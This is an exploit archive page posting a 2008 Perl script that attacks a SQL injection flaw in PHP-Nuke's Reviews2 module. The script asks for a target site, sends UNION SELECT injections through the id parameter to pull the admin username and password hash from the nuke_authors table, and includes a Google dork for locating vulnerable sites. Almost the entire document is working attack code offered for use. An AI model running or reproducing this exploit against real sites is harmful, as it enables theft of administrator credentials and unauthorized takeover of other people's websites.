Home / exploitsPDF  

phpnukereview2-sql.txt

Posted on 14 October 2008

#!/usr/bin/perl -w #PHP-NUKE module Reviews2 (id) SQL injetion vulnerability# ######################################## #[~] Author : boom3rang #[~] Kosova Hackers Group [www.khg-crew.ws] #[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er. #[!] Module_Name: Reviews2 #[!] Script_Name: PHP-NUKE #[!] Google_Dork: inurl:"modules.php?name=Reviews2" ######################################## system("color FF0000"); system("Title Kosova Hackers Group by boom3rang"); print " ------------------------------------------------------------- "; print " | Kosova Hackers Group | "; print " ------------------------------------------------------------- "; print " | PHP-NUKE module Reviews2 (id) SQL injetion vulnerability | "; print " | Coded by: boom3rang www.khg-crew.ws | "; print " ------------------------------------------------------------- "; use LWP::UserAgent; print " Enter your Target EXP:[http://site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="aid"; $table_name="nuke_authors"; $b = LWP::UserAgent->new() or die "Could not initialize browser "; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $target . "modules.php?name=Reviews2&rop=showcontent2&id=-9999+union+select+1,2,aid,".$column_name.",4,5,6,7,8,9,0,11,12+from/**/".$table_name."/**"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; print " [+] The Target : ".$target.""; if ($answer =~ /<user>(.*?)<user>/){ print " [+] Admin User : $1"; } $host2 = $target . "modules.php?name=Reviews2&rop=showcontent2&id=-9999+union+select+1,2,aid,pwd,5,6,7,8,9,0,11,12+from+nuke_authors--"; $res2 = $b->request(HTTP::Request->new(GET=>$host2)); $answer = $res2->content; if ($answer =~/([0-9a-fA-F]{32})/){ print " [+] Admin Hash : $1 "; print "# Succeed (Veprimi u kry me sukses)! # "; } else{print " [-] Failed(Dështoi) Exploit... "; } ############################### # Proud 2 be Albanian # Proud 2 be Muslim # United States of Albania ###############################

 

TOP